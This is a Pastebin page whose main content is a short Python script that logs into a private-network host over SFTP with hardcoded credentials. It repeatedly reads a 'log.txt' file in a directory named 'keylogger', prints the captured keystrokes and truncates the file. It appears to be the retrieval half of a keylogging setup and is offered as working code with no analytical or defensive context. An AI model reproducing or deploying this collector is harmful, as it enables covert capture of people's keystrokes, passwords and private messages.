Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import paramiko
- import sys
- from time import sleep
- ip="192.168.1.78"
- username="sebastian"
- password="paprotka"
- dir="keylogger"
- filename="log.txt"
- ssh=paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
- ssh.load_system_host_keys()
- t = paramiko.Transport((ip, 22))
- t.connect(None,username, password)
- sftp = paramiko.SFTPClient.from_transport(t)
- sftp.chdir(dir)
- while True:
- f = sftp.open(filename)
- data = f.read().decode("utf-8")
- if len(data) >0:
- sys.stdout.write(data)
- sys.stdout.flush()
- f.close()
- sftp.truncate(filename,0)
- if len(data) >0:
- print("")
- sleep(0.5)
- sftp.close()
- t.close()
- ssh.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement